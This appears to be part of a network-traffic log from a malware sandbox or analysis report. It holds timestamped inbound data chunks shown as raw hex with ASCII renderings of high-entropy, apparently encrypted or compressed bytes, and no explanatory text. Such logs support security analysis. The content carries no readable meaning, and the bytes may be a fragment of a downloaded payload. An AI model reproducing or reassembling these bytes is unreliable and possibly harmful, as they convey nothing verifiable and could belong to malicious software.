8d bd f6 e3 19 46 7e fe a0 c7 75 55 e9 e5 04 fb cd 63 62 9a 7c 69 74 85 cc 04 eb f8 cd 5d e5 Data Ascii: fDgyYbPxjzhx@G`As0V.b8M*HedUR.vhkuwY~Kz6z 9&+)fFqNF]WrZjy^Uf\|%[m{.5)"\|fy{W\|F~uUcb\|it]
2021-12-28 04:19:41 UTC	1177	IN	Data Raw: 46 75 59 59 04 f5 db 2a 1b 0e 92 46 8e 57 2c 9f a5 db f2 3d 67 1d 77 56 ae 88 ef 82 85 c7 e9 29 ae a4 b2 1a 5e ec b2 a3 b8 ce 46 0c 51 6f 81 04 e9 7b 24 43 88 de 8a 10 6b 6e e7 d3 4a d5 67 4b d2 74 74 7d b4 af 39 d7 5f bc f4 10 21 3e ae 92 3d 22 16 66 ed 04 43 3f 56 2f ff 6f 49 79 e2 62 4c 48 41 8c a0 18 e6 58 8f 80 f6 a7 e3 8e 07 68 5c 77 17 c2 bc 44 08 56 70 f2 72 b0 60 39 72 5e ba ad 13 5e b7 e6 a3 8c 05 f7 ae 1b 87 f1 42 9f 57 75 fe 90 58 8a fb 23 41 a0 fa 12 d3 05 1e 55 b0 fd 87 44 bc 96 4c 76 d3 a1 8b 14 8a 54 d0 d3 55 18 02 80 05 e6 b3 54 44 f9 a1 dd 60 67 c9 a7 02 52 89 ed a3 da 29 f2 9c 74 5e 11 29 25 1a 32 d6 95 af fb ab d5 02 a9 63 94 7c 40 0d e3 3c db 73 eb ce 49 3e 7c 63 f8 6d 65 a4 b2 f3 6a ba 93 fd 0b 49 3c 06 a7 d2 93 a9 76 2b 0c 7a 41 c9 Data Ascii: FuYY*FW,=gwV)^FQo{$CknJgKtt}9_!>="fC?V/oIybLHAXh\wDVpr`9r^^BWuX#AUDLvTUTD`gR)t^)%2c\|@<sI>\|cmejI<v+zA
2021-12-28 04:19:41 UTC	1180	IN	Data Raw: ab 53 8c a8 f3 0a 07 00 b2 36 cd b9 33 53 fe f6 b1 8e 8c b4 01 ce 01 9d 9d 01 c1 a0 25 69 e9 82 a2 4a f4 31 a4 48 88 fa 0c 47 89 1c 08 76 31 ce 59 8c 3d 88 b1 dd eb c8 05 d3 fd 78 12 6c 12 3a 54 be 9c 0a 24 8f 21 18 f7 d6 d8 36 83 5e 70 d8 95 13 1a 06 b2 94 8e 60 26 b3 d1 de f8 ed f3 05 20 ed 85 f0 73 4d 62 8f 49 c7 bd 0b 9c 3a 5b 2f e3 23 68 b0 d7 57 98 97 cc 70 8c d3 40 9f de c9 a8 07 91 33 87 47 57 bb e0 45 72 a3 e3 28 f5 dd af 17 a2 79 4a 55 1c 2f cb fc a4 1c e7 99 96 04 ee 92 ea 24 94 f8 18 1b be 7f 6a ee 4e 74 6a 52 f2 01 74 0b 0f d1 8b 2d 9a 0e 2a b9 51 8c 4f 4e 39 4a 90 bf a6 fa 60 ca 0e 7c ca db 63 33 86 96 b0 97 b7 c5 8d 2d e4 e4 41 8a ab 75 97 0f db a7 83 15 ab 90 9e 6a 23 47 79 91 cf 02 4d 0f 2c c2 9c 90 40 a8 ec cc 62 34 0a 89 f0 d1 3d 73 60 Data Ascii: S63S%iJ1HGv1Y=xl:T$!6^p`& sMbI:[/#hWp@3GWEr(yJU/$jNtjRt-*QON9J`\|c3-Auj#GyM,@b4=s`
2021-12-28 04:19:41 UTC	1185	IN	Data Raw: f8 98 fb 62 aa a6 c3 05 b4 02 fb 59 0c 06 a2 04 2d 65 fd 5a 54 98 75 19 4e 46 ee 78 0b cd 64 3f fb 23 c9 1b b3 1b e4 2c 3a 94 15 73 40 74 61 1e 1a 36 59 39 9a 2b 09 15 2c 86 71 8b 19 d7 9c 25 4a 9e 4b 74 eb d0 09 9f be fa 27 fb 1c 6a fb 27 5c 9a 18 3d 4c cf e9 f3 6f c8 65 e2 a2 5e 70 ed 49 e9 a0 d8 43 01 9e f1 90 f2 f1 82 c6 08 f9 1b f7 11 1b cc 00 2a c2 f7 e8 c3 ab c2 6b ab b1 b4 fe 3f bb d8 75 30 db b0 ee a4 90 15 f0 3f b3 6a d2 29 04 2b ed 66 58 df 92 7e b9 4f db 95 79 25 a2 be 9e ce 8c 51 46 43 90 ca 78 16 e0 79 1b 13 42 50 76 a6 44 e8 1b ef dd 92 a8 21 47 44 72 d2 7b 0b b3 66 86 7f ac a4 7b 7c 29 70 1b 67 7c da b4 a6 19 ef af b9 38 84 3b ff 7e 77 7c 6c 9e ff 8a c6 61 18 7f b1 e2 3c 32 81 6a 03 7c 87 25 35 f8 c6 ac 6e ab c8 bc d9 ca 5d e8 1e cc 05 5c Data Ascii: bY-eZTuNFxd?#,:s@ta6Y9+,q%JKt'j'\=Loe^pIC*k?u0?j)+fX~Oy%QFCxyBPvD!GDr{f{\|)pg\|8;~w\|la<2j\|%5n]\
2021-12-28 04:19:41 UTC	1189	IN	Data Raw: 9b 1d af 1d e7 b3 51 e2 c2 3d df 98 15 ff 9a 74 7c 25 ec cb 68 8b dd 35 a6 6d 5b 0e de d6 c2 8d 97 7e 03 fc 89 cb 58 b4 f2 08 88 2a c1 88 ce 63 19 70 0c 51 ce 78 fe c8 8c 57 9f 7e 47 05 8f a8 eb 5f ad 15 95 13 4c 71 cf 8a eb b9 b2 76 a1 f7 a9 c7 15 0a 8c ce 2c f9 00 6b f2 61 33 eb a5 6b 3f 0e 02 01 fd 7b f3 ac 71 5c 73 70 10 44 12 e3 4a 0a a6 dd 96 d0 43 2e 89 f1 62 40 d3 7e 3a 41 d2 e8 5f e7 dc c7 65 a4 92 d5 b7 a5 7d a5 11 6a 72 29 7b 57 3e 79 d3 6a b7 2f d3 dc 65 7e d8 4e 6e 91 51 66 a5 ad 0f 74 be 7c e7 ef a2 b6 a1 30 00 13 e2 6d 0d e9 f7 13 b4 8b 6d 00 75 6a 54 b6 8e 2c 56 1e b4 39 fb 22 f0 b5 97 a4 8e 13 b1 89 10 8e a2 ae d3 2f 0d df ab 22 b5 a3 3a 83 6c 08 24 58 e2 02 54 cb 2b 4e 49 a4 78 71 89 7c 2b e4 20 1c 6d 3d ef e4 f3 fc ff 55 90 d6 3f 7b 80 Data Ascii: Q=t\|%h5m[~X*cpQxW~G_Lqv,ka3k?{q\spDJC.b@~:A_e}jr){W>yj/e~NnQft\|0mmujT,V9"/":l$XT+NIxq\|+ m=U?{
2021-12-28 04:19:41 UTC	1193	IN	Data Raw: 55 d9 9c 47 1b cd 9f 80 64 f3 f5 6d ac d5 aa 33 73 c8 00 20 e8 fb 13 9f 83 60 e5 25 fc 51 63 65 ce e3 5c d1 5b cf 3e 86 cd ce 0c 94 43 af 4f 0f a7 89 bd e7 66 bb 93 d0 ee ba da 2c 50 32 2d dc 7c 5f d8 d6 2f fe 5d 60 93 bf a7 1a 4a 5b 02 0a 8a 4a 2e bb 43 5f 78 e7 ab e3 d4 70 e9 36 f9 07 93 23 a1 a4 b6 00 a1 d0 fe 1e 6d 65 8a 62 54 9e 24 3a 0b 6e 21 05 4f 07 c9 7e 7d 80 da 1f 4d bc f7 11 1f 33 ff 70 d4 a0 11 0c a6 36 bf 54 f1 ff 1d b4 82 74 e3 10 7c df 3b 8b f4 98 91 a6 58 38 eb 29 cc 21 3c 0e 5a be 77 79 9f 7f 30 75 07 72 76 9b 0d aa c7 41 38 69 e8 45 06 c2 37 ab 57 88 56 41 7c 52 67 a1 85 9d 7c 09 97 8e ba 5c 53 32 70 b8 49 de a1 c5 61 f4 74 10 8f 45 2b 1d 9e eb 0a b4 b2 95 9c fa 30 fd 77 0f 20 eb 49 85 fa f8 7b 3d 4b 0f c3 9c d8 b8 c6 b6 88 da bb 62 a0 Data Ascii: UGdm3s `%Qce\[>COf,P2-\|_/]`J[J.C_xp6#mebT$:n!O~}M3p6Tt\|;X8)!<Zwy0urvA8iE7WVA\|Rg\|\S2pIatE+0w I{=Kb
2021-12-28 04:19:41 UTC	1197	IN	Data Raw: 7c f8 33 15 23 3e 7f 81 3e 1a 9f 77 8e a6 d3 30 d4 27 3a a0 1c 4c 94 da e3 09 67 48 d3 92 f5 bf 21 46 40 c3 b5 81 e6 c4 2a 0c be 84 a8 cc cc a9 6d a0 5b d8 9b ff 92 ea 67 4f 50 25 40 8e c8 7d be 73 61 2b 04 ee 98 fd 87 e2 be 46 87 51 cf eb ae 83 f7 18 3c 7a e0 04 5d f4 03 1b d8 09 1b 83 57 7b 33 30 08 35 49 a5 e4 4e 19 37 ac ee d8 3b 7c 47 20 63 fe e9 7b f9 d8 96 a4 b5 d8 19 b5 db 40 e3 94 93 13 86 eb b7 cb 07 7e 69 be 5f 25 02 2a 14 81 a3 ac 70 97 a0 c8 65 df ba 07 c2 0a 98 5a 4f 59 15 d5 1f 44 57 ad 34 57 c3 03 6c 45 cf 1b f5 a8 a6 39 2f 9c 1b 23 8c 23 4f 75 57 30 88 5a 8f 83 e3 54 be ba 74 b0 0b 60 49 78 3c 54 9f d2 09 56 db 78 df f7 88 3a 22 e0 e0 d8 28 d5 f2 bd 1c 3f e2 9f 07 10 b9 1c de 1c 65 04 ad 8b dd 6c c9 ed 84 80 ca df 5a 13 2a 55 64 3f 4c df Data Ascii: \|3#>>w0':LgH!F@m[gOP%@}sa+FQ<z]W{305IN7;\|G c{@~i_%peZOYDW4WlE9/##OuW0ZTt`Ix<TVx:"(?elZ*Ud?L
2021-12-28 04:19:41 UTC	1201	IN	Data Raw: f2 1b f3 4e a1 75 33 39 19 ee 96 14 15 0c 2a 66 ed 29 40 3b 4c 70 a7 f6 98 ac f0 5c 3a 5c ab 35 1c 8e 50 39 5a a3 e8 5e 41 15 df 49 c4 4f 4b 6f 40 84 26 96 c0 a3 f9 eb 9a 2a 4d f6 20 e5 34 4e 6d cf 7d 7c 82 d1 b1 0f ec ab 3b 4a 1d e7 59 6e 46 7c 6f 4d f9 c9 4d 1e b1 ba c1 3d dd 86 5a 1c b7 9a 5a 5a ce ca de a7 37 68 fd d0 cf d2 d6 f3 64 5f 97 37 4f e1 8d 4e 3b 2a 99 bb 5f 43 aa 0a 66 81 7f ea 9d 64 91 b5 8c 74 3b 2e 3a 56 3c 32 6d 3d a2 c7 d4 eb e0 6c bf 4e c2 ed 34 7d 6e ee 88 bd 66 ae d5 71 ad ee 67 61 29 c0 09 bb 4c 58 09 a9 72 5f a2 29 b9 3b 9a 6b b5 09 6d e1 e5 f7 72 25 db bc 5e 3c 3f 27 1d 67 d2 79 6f 7a d1 91 9e 4d 24 1e 8a 58 a4 80 a7 64 19 a6 8c d4 0e 6b 06 9f 1c ec 26 bb 44 50 1b 64 3b 65 da 96 18 9e a5 a8 78 f5 14 d2 91 60 4b 19 4a 18 3f fa 44 Data Ascii: Nu39f)@;Lp\:\5P9Z^AIOKo@&M 4Nm}\|;JYnF\|oMM=ZZZ7hd_7ON;*_Cfdt;.:V<2m=lN4}nfqga)LXr_);kmr%^<?'gyozM$Xdk&DPd;ex`KJ?D
2021-12-28 04:19:41 UTC	1205	IN	Data Raw: 23 64 51 54 9d 56 7d aa 9f 46 35 40 58 11 1b 57 40 4a 81 3c b2 fa e2 24 48 1d 9f 5a 1c 37 26 1d 50 bc ef a6 4c 09 98 87 52 cf 29 43 9a 0f bd 4e 90 a6 a5 94 d8 fe 43 cc cf 67 a6 d7 4b 5a b8 61 e1 c6 6e d9 1e e6 da 9d 92 8d 1b f7 f3 9a 1a 89 e7 2f fa 1c da c0 b4 10 93 8e 10 91 ee df 6b a5 22 8f 15 e3 c2 b5 97 4d 0e 07 03 40 c6 64 3d 4f 4e 6d 28 71 27 c5 06 cb f9 59 18 f3 c6 a6 52 3b ee 4b 07 ae d4 95 6b 23 1f 29 45 7b 17 ad 52 2c 02 5d 3c 7d 31 75 9e d4 bf e7 1c 89 20 2b 77 e3 c6 58 7c 8f 39 30 af 29 98 91 c2 34 06 0e 43 26 e5 3f 35 d6 8a 9a a3 1d 08 01 96 8e b7 7b 35 3b 13 c8 7d c0 78 62 93 99 94 cc 8d 42 b2 5e fb 0f 2b 69 5c 54 f6 03 a2 fc a3 51 ab cc 7e 87 8e 2e aa fe 22 be 3d a3 11 be 29 72 bc cd c6 66 c2 fa d3 70 4b e7 3a 01 b6 1a 76 68 6f 1c c0 7e 29 Data Ascii: #dQTV}F5@XW@J<$HZ7&PLR)CNCgKZan/k"M@d=ONm(q'YR;Kk#)E{R,]<}1u +wX\|90)4C&?5{5;}xbB^+i\TQ~."=)rfpK:vho~)
2021-12-28 04:19:41 UTC	1209	IN	Data Raw: 8d ac fa 2e ae d4 50 29 e9 87 57 c9 26 d2 ad 9a 5d d1 38 40 73 34 c6 ac d0 f8 77 bc 06 e1 10 87 9d 99 da 09 4a fb 2e 67 76 ef cb 74 e4 b5 37 62 4b c7 9c 10 86 56 42 fc bb 40 2d 30 96 e2 17 35 0c 8b 56 95 49 80 c6 d7 16 50 d9 e5 64 bd b5 f8 2a f6 4a 7f 7a 98 37 51 f7 87 70 52 0f f1 07 4a 5a 05 98 39 7a 5a 9e 1d 70 8b d7 a0 21 79 a3 fe 22 01 68 21 1a e5 25 de 50 07 d2 8b ff 6c a6 50 50 7b 00 39 8c 5d a2 61 02 15 31 c4 f0 ac 19 b3 a4 e4 2d cb 99 4b 38 12 01 09 0e af 30 de 0f d6 cb 38 b0 5e 43 3d 55 2c 6c 2d 04 13 bf aa 5b d4 93 44 80 ea 43 4a 95 22 e0 eb ff 23 d4 71 d3 b7 4f ff ba d4 dc be 05 59 1d 1b 6a 6a a9 cc cd e5 5b 5b 39 68 4b 24 9d 88 42 54 50 bd 49 23 b6 08 ba f8 8f 95 3e 53 49 fc d2 a4 01 4f f0 32 5c 53 83 ba cb a3 79 55 c1 ec 8a 66 b6 6c a0 7d 8a Data Ascii: .P)W&]8@s4wJ.gvt7bKVB@-05VIPd*Jz7QpRJZ9zZp!y"h!%PlPP{9]a1-K808^C=U,l-[DCJ"#qOYjj[[9hK$BTPI#>SIO2\SyUfl}
2021-12-28 04:19:41 UTC	1212	IN	Data Raw: 88 48 c9 43 4e c3 42 ab 6d 12 47 77 e3 d9 74 21 da 86 90 6b 5e 49 74 d6 d0 65 35 ff 88 ee 48 7a c4 87 e9 cc 5f e4 be 05 d3 08 92 b6 88 42 07 d3 67 b3 a2 cc 88 1e fa 3f c6 73 a4 5b 96 45 a9 cb 30 61 9b 45 35 28 d9 72 75 5f 7d f2 fa f2 01 63 36 8d 88 e9 b4 42 fb 33 80 29 15 e5 f4 df 8b b5 ca b8 f1 8a eb 35 d1 62 63 8b e9 d2 5a 68 31 cc de de 8f 42 c6 50 88 2d 4d 21 1d 7a 5d d4 42 be 9a e6 df 50 6f f0 03 88 52 f6 2a bf 66 27 c9 59 76 af 5b e7 29 71 e2 fe a7 c1 90 fd 8d 51 1f 6b c0 c7 4d 61 ae e1 0d 0b 90 03 c4 ed 97 c4 5f 1b f0 46 2a 66 4b 1f 30 8a 15 4f 82 15 ba e5 1b f8 3b df 9b 8a 07 e6 74 3d 15 94 6e 6a 48 52 8e 74 09 a1 be 97 54 92 c7 96 0a 21 13 63 ad 56 dd f8 10 a7 8f a6 87 3e 91 4e b9 7a 12 00 c0 db 24 ac 35 1d 5f ae 7b af c6 1d 9a 75 11 f0 50 fd 2c Data Ascii: HCNBmGwt!k^Ite5Hz_Bg?s[E0aE5(ru_}c6B3)5bcZh1BP-M!z]BPoRf'Yv[)qQkMa_FfK0O;t=njHRtT!cV>Nz$5_{uP,
2021-12-28 04:19:41 UTC	1217	IN	Data Raw: 18 2e 8a f1 3e cd b9 35 7c 90 29 fe 83 db 8d b6 c1 85 a4 a0 56 36 d4 f6 97 11 dc ee 22 45 74 ff a7 b1 9d 44 cd a2 0f 53 c9 88 79 d2 40 83 70 e8 84 5b 28 42 d3 1e f3 d3 fa a6 9a 0b e9 08 7f 9e 8d 36 f9 91 e3 20 ea 7a 80 4e 19 f2 0d c8 56 91 6b 56 fe b1 40 84 d0 e0 d9 45 a3 d3 1f d1 60 19 4b 04 42 f8 99 70 95 9d fa ae 84 22 5c aa 9b f6 11 b7 06 f7 fd 57 da ae 84 ab b7 6d 4c 2f af bc b2 49 cd 73 15 99 f4 0e f3 19 8c b1 09 1e ec 91 0d 7f ef bc f5 b1 6f 8b 85 aa c2 ba e6 38 59 c5 d6 9f 60 41 10 86 5e 83 41 4d 05 9a 45 ba f8 50 e7 7b 36 bd e0 6f 14 19 ed 86 c6 30 c1 07 7d 45 f7 be 7e 80 7b 50 17 dd 1f 08 23 16 09 fb a4 d8 2b 6a 7c 8d 7f 53 7b 3e 04 95 d0 98 73 4e cc 74 f7 cc 31 4a 0e 8b c8 aa f9 9d 36 2e 7a 74 99 83 6b 29 3d 55 f0 5c 26 13 3e 02 af 32 8b 49 94 Data Ascii: .>5\|)V6"EtDSy@p[(B6 zNVkV@E`KBp"\WmL/Iso8Y`A^AMEP{6o0}E~{P#+j\|S{>sNt1J6.ztk)=U\&>2I
2021-12-28 04:19:41 UTC	1221	IN	Data Raw: d3 33 71 8c f0 51 eb 6b 95 01 17 1d 44 93 ff e7 95 f0 76 ac cc b8 f5 51 63 b9 48 a2 d6 6c 7d 21 a0 cb 3a 4e fa d7 bf 50 f2 17 d0 18 11 bb 46 ae ca e0 c8 ea 30 41 ce 64 68 91 7d 0d 5f 95 87 0a 6e 81 6a 3b b0 ef 1e b8 0c 89 f0 7d ac 45 35 55 05 78 8e 12 a3 fd e8 73 f3 37 eb 8b 15 4a 7d a6 1e 88 b9 ea 1d 60 06 85 7f 2d 24 a8 9b 81 d3 00 56 8d 8c 3b 34 65 d2 47 87 09 04 f5 f0 e8 0c 36 ef d8 09 a9 27 ed c8 7b d8 12 ac 10 30 b1 00 78 c0 0d 73 c5 a0 77 62 60 5e 93 74 65 77 74 82 67 ab 47 83 f8 5b e8 a2 ab d0 de 90 fb 03 32 0d 15 16 c8 58 ce 19 2a 87 e0 24 ac 2f 9d ae cb 81 96 d6 7e bd a9 3f ee 50 65 70 cf 91 7c 4b ba c2 7b 41 02 9b dc 47 61 61 29 12 7e 0f 9f e2 e9 76 fa 09 74 c9 34 6d 46 1a fc f9 35 c0 9f fa dd 10 34 e0 0a 5d 1f 28 63 2c 3d 4b e5 33 37 c1 18 96 Data Ascii: 3qQkDvQcHl}!:NPF0Adh}_nj;}E5Uxs7J}`-$V;4eG6'{0xswb`^tewtgG[2X*$/~?Pep\|K{AGaa)~vt4mF54](c,=K37
2021-12-28 04:19:41 UTC	1225	IN	Data Raw: c6 6a 4f b6 63 26 ed 7b d1 75 fc 02 70 56 c8 84 8d 0f 9d 8b 05 d7 72 dd 07 4e 97 d1 9a 45 53 46 5e 29 d1 01 19 31 65 6f a8 98 8a c2 04 26 e0 a2 78 64 96 ee 73 a1 5d 26 c6 cd b2 0c 17 78 98 f9 00 1c 53 0e af 80 cc 15 00 f0 68 dc 8b 2d 4f 00 3e 23 c6 44 30 8c 8d cd a3 c3 a1 b0 11 36 74 b2 55 80 b1 41 2f ce 94 9c 9d 6d b1 c9 17 be 14 40 2c 83 98 c9 cf 81 a4 60 42 ce 29 42 77 d6 fe b5 d0 6a 23 bb eb 0d 07 a8 5c 7e 53 8f 33 50 c2 16 3d 34 37 6e 0b af 2a 01 c3 9f 11 1e 23 a5 b4 18 8b 23 72 15 29 e2 62 32 58 0b 2c 60 f1 85 3a 62 f5 8f 97 81 76 59 54 74 f3 b3 76 8f 4d 02 a9 d3 1a e1 32 24 4a 0e 75 3f 97 0a 9a 53 3a 35 54 00 2d cf a8 98 ef ba ed ac 63 8f 94 f5 e0 d7 b4 42 dd 36 20 ea 35 74 42 0e 1a 17 fc a4 ca 29 a6 2f 67 e4 90 f1 51 5a 5b d6 48 8d 1c 8b f0 d4 f0 Data Ascii: jOc&{upVrNESF^)1eo&xds]&xSh-O>#D06tUA/m@,`B)Bwj#\~S3P=47n*##r)b2X,`:bvYTtvM2$Ju?S:5T-cB6 5tB)/gQZ[H
2021-12-28 04:19:41 UTC	1229	IN	Data Raw: e1 32 1e e4 ee cf d7 be 5e ce f9 00 ae 69 07 d0 7b d5 68 54 1d 64 05 95 99 c5 79 ff 75 e9 35 9e 70 ff 1c 39 90 2b 0c fa 20 90 24 0f 3f 4f 79 63 bd 5b b7 66 b6 f8 7d da 7a 0c 54 95 75 e1 23 c4 00 7c e0 44 78 ce 1b 2c 16 76 5e 75 50 a5 70 b4 c4 2f 2b 83 65 76 fd 68 d4 59 d4 75 86 36 61 b3 23 76 b1 7e 1d f1 31 07 94 d7 1a 70 9a a5 96 88 fe 74 6b 3f 0e d8 ba 9a a0 9c 67 98 ee 23 5a 90 a2 6b 31 7a 12 85 4b 0e 58 75 cf 64 f0 ea 1b 63 f6 52 96 52 2f ce a9 2b a0 8b d9 33 3b 6c 73 d0 b6 9a 8f fb 68 8e 49 07 51 be 91 b3 b9 b8 8e a8 3e 6a e6 c8 fb 2a 0e c6 aa 19 5c 4b 05 34 ad bc 7b f7 8f 28 c8 3c 46 52 73 1f af 19 cc 8f 59 ff f0 49 1e 18 80 be a0 83 77 b4 62 df 8f 1c a7 2e c2 f2 4b aa 6c 2e ce 4d b7 03 de 03 6b ba b7 70 90 3d a8 0f a0 20 16 ba 7d 4e a5 2b d5 d6 e3 Data Ascii: 2^i{hTdyu5p9+ $?Oyc[f}zTu#\|Dx,v^uPp/+evhYu6a#v~1ptk?g#Zk1zKXudcRR/+3;lshIQ>j*\K4{(<FRsYIwb.Kl.Mkp= }N+
2021-12-28 04:19:41 UTC	1233	IN	Data Raw: 8f df 43 f6 9a f7 f9 12 3c 44 30 7e ff 01 65 d9 9e 5b 07 39 db 71 db 70 52 3d bc 7b 76 11 90 28 95 d1 d7 b8 60 68 b5 83 ac e0 9b 90 0c e0 b4 48 a3 93 45 8e 5b 65 05 1a 78 b8 7d dc d0 8c 27 f4 54 04 ce be ca 08 e9 91 5b 04 ad 6d 32 f9 02 4a 4f 93 f9 a5 88 bd fc c0 5a df 02 fa 3c 19 18 b1 57 60 09 00 42 06 c8 dd 41 30 52 2e d7 e3 fe 76 76 f7 0c 51 c0 ea c8 d3 d0 59 a9 0a 73 5d df 66 93 4c c3 26 83 ea 1a 75 a0 d2 e1 83 19 18 1c 2a 85 df 49 5e a9 7d f8 42 93 31 b6 07 19 60 d5 7e 1e 9a e6 f0 39 d2 2b a6 cb fd b7 50 79 60 21 e1 af 78 1d 4f 79 f1 af 8b 0c 5e 73 cf 02 39 44 50 0f 96 6f 6d 3b 7f eb dc a1 40 7e 23 7e 7d bd db 48 7a af 7f 41 07 64 16 5d 28 46 0d d7 5b c1 71 78 51 83 e7 93 b2 90 36 aa d1 d5 1a 6e 50 0a bf d2 34 38 14 15 ae 97 87 e6 49 ad a8 9d 68 c5 Data Ascii: C<D0~e[9qpR={v(`hHE[ex}'T[m2JOZ<W`BA0R.vvQYs]fL&u*I^}B1`~9+Py`!xOy^s9DPom;@~#~}HzAd](F[qxQ6nP48Ih
2021-12-28 04:19:41 UTC	1237	IN	Data Raw: 33 3c 5c 0d c6 68 31 3c 81 9e d5 ef 2d a0 6e 17 5c 99 79 df 4d 65 10 f5 df 50 ed 76 a9 be 41 9b f5 a1 dd 9a 4a 7b ff df 01 6c c4 a6 90 fc 7c 9c 25 86 bf 68 c4 8d 76 2b 09 2a 02 62 99 ed 9b dd e4 d9 29 c8 fc b2 ed 70 30 df 7b 83 ba 21 aa 94 37 16 9d 6d 6c 81 1f 34 5a 87 90 8d df 0f b6 e4 87 fd 0d c8 e2 9a d3 b2 19 fa 6c 89 78 e7 dd 9d f8 44 7a 15 25 12 8f a4 1e 81 5f 85 f5 4c a3 1c 90 cd 48 71 35 e3 fd 7e 94 d8 05 46 78 5a 50 60 26 e6 5f 38 db fe 04 21 d8 45 fb 97 2f 06 55 52 de 28 7d bf 0d 37 e1 47 33 22 30 05 63 90 06 4c 2a b2 69 0e 9e 4e 8a 4c f5 35 25 a8 d3 4f 05 b5 22 eb f9 65 39 45 70 fa 8e 26 16 ab 3e be 8a ca 23 54 50 77 d2 0d 46 ee 8f 21 48 79 ba 53 8e 2a 5f 89 bb f3 c9 8f bb d4 8c ee d5 24 5c 5e 52 e4 07 49 d5 a2 d5 eb ab 62 65 86 30 5e 6b 79 34 Data Ascii: 3<\h1<-n\yMePvAJ{l\|%hv+b)p0{!7ml4ZlxDz%_LHq5~FxZP`&_8!E/UR(}7G3"0cLiNL5%O"e9Ep&>#TPwF!HyS*_$\^RIbe0^ky4
2021-12-28 04:19:41 UTC	1241	IN	Data Raw: 12 7c d0 6d b5 d3 d0 3f b8 a2 f5 b7 34 14 1e ba 5b 80 49 00 aa 3d 09 c1 cd 04 32 04 6e c2 68 c9 7f 33 3b f4 e0 9e 07 25 87 19 58 5b 41 b6 cf 8b 56 0e 13 fe c5 e6 7c 91 a0 8a 65 7d 71 ea 65 37 75 09 67 db 3f 4e 8f 36 79 72 49 74 79 7d 37 e0 f9 a5 e2 c6 4d fc 6d 40 ca 6d d8 9c 8b a5 6a 5d c1 d1 f4 b9 d8 8b 97 43 16 f4 a5 53 e7 04 84 4a 5f 46 4c ae e3 c1 b0 65 2e 04 7f b0 85 31 a4 d0 dc 00 75 85 ad f3 43 f6 17 65 ec 36 e7 fc f7 e1 20 8b 6c 67 1b 7d 0a ef 97 75 01 8c 10 95 c8 bb aa 4e 24 d7 63 21 7c a0 f3 b6 d5 3b 03 c1 3c ac d7 86 e0 e2 55 ac da ad c6 58 39 34 9d 55 be cc 48 30 b9 02 bf 61 72 5c a5 69 92 25 ea 74 8f 81 41 f1 65 fb be 5f 87 71 16 7e 5f 3a e3 21 dd ef bc b6 60 49 70 56 d0 6e 6b d7 6e b8 c3 83 a8 7f c4 86 ee 55 0e 63 85 bd ee 48 2b b5 4d d6 c6 Data Ascii: \|m?4[I=2nh3;%X[AV\|e}qe7ug?N6yrIty}7Mm@mj]CSJ_FLe.1uCe6 lg}uN$c!\|;<UX94UH0ar\i%tAe_q~_:!`IpVnknUcH+M
2021-12-28 04:19:41 UTC	1244	IN	Data Raw: 04 c3 e3 db 01 f0 2d 93 f9 cc 18 d6 2b b0 46 33 10 7e 19 8f 1b c9 e1 bc 86 07 2f 30 fe d7 37 b6 d2 af 61 58 a0 f4 8d 71 b4 5f cb 1b d4 4f 45 0f 25 9d 63 ef 51 1a 1d 9d 6e d7 f2 af 01 ec 24 ea c8 6c 51 a5 e8 ee 26 ae c4 03 ef 0e 4e 01 8b 43 30 1c 2f 73 f2 88 de b4 b9 45 1a 55 53 aa 93 2a cd d9 ae 86 88 ce cf fe d7 b7 98 1a 9f a2 85 ef 3d 87 5e 1d 25 5c 24 87 df 1a 10 34 6b 98 fd 71 f5 98 c7 96 38 73 e3 8c 8c 62 b4 9c 9f 1e 22 c9 32 06 bf dc 18 bb 03 b9 2f f1 f3 e8 50 53 8b 20 9e c0 bf 47 62 41 6e 91 e2 25 36 f8 49 28 e6 e2 63 55 3c e6 8d ed e1 66 93 27 24 16 90 4d 6d 0f db d3 d1 0a 5c c0 da 37 48 37 c2 f7 9c a4 32 65 74 8c 48 85 93 4b 80 5b dd 9a 40 31 8f 05 c7 6a 51 3e 24 04 5a 92 b8 a8 41 da ef d1 ca a0 84 25 bc 52 f8 a2 c4 70 9b 13 12 11 66 31 f4 03 57 Data Ascii: -+F3~/07aXq_OE%cQn$lQ&NC0/sEUS*=^%\$4kq8sb"2/PS GbAn%6I(cU<f'$Mm\7H72etHK[@1jQ>$ZA%Rpf1W
2021-12-28 04:19:41 UTC	1249	IN	Data Raw: 5f cb d5 4c 58 f5 cb 3e de 3f 7b 03 e7 71 17 9d b9 69 20 48 7d 2f 20 1d 3c 24 cf f4 3d 8c 43 25 35 24 63 b2 a0 71 fd 1b 95 e8 66 e5 80 b4 6f fe cc 5f 71 a6 39 6b cc be 8e 99 4e 19 d9 20 b1 c5 bb 45 10 29 d0 a2 1e 0c f2 0c 3e ff 12 73 f6 94 ff d5 fa 12 fa 7c 53 af aa 77 f1 06 e5 c6 52 0f 50 ff b4 7f 38 6a 68 7d cb f7 e2 60 66 e9 eb f5 51 c5 46 fa 39 a6 7f 67 b1 5d 30 2d ba de 77 d0 df 61 91 c7 41 de 9d 70 2e 00 51 ab ef 54 39 2f 3b ea 1c 75 84 55 42 03 f0 9b a9 e6 e9 d6 72 8b 14 2e aa 0f 7e 26 c3 87 cb 79 91 26 fb 58 bf a6 9c 2c 83 65 b0 8c ed b7 19 99 ff 94 8f 93 74 86 6b 59 32 ed 6c 99 46 27 6f ee c6 ba 39 61 27 1d d6 ac 0d c3 75 36 ad 7d ca 36 be a2 5a 66 1e e4 70 3a 7f a2 41 14 fa 00 4f 45 34 16 7a 0a 7c 33 8f 53 bd e0 be 65 1d 56 52 d1 1e 54 b2 71 51 Data Ascii: _LX>?{qi H}/ <$=C%5$cqfo_q9kN E)>s\|SwRP8jh}`fQF9g]0-waAp.QT9/;uUBr.~&y&X,etkY2lF'o9a'u6}6Zfp:AOE4z\|3SeVRTqQ
